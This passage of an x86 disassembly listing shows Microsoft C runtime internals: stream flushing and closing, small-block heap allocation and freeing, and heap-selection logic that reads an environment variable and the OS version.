loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 0C4h
		dd 29C8A86Dh, 122F4F2h,	37200F44h, 0A164812Fh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 48E890E8h, 3302433Ah, 89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 90000058h, 4339C3E8h, 0D38CA302h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2431D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 65E89056h, 5002271Dh, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 26608D5h
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 2680972h
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2690000h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26D04D8h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2860000h
		nop
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 451977E8h
		dd 0A3C08502h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh
		dd 2442751h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 191EE890h, 0C085023Ah, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27B0000h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
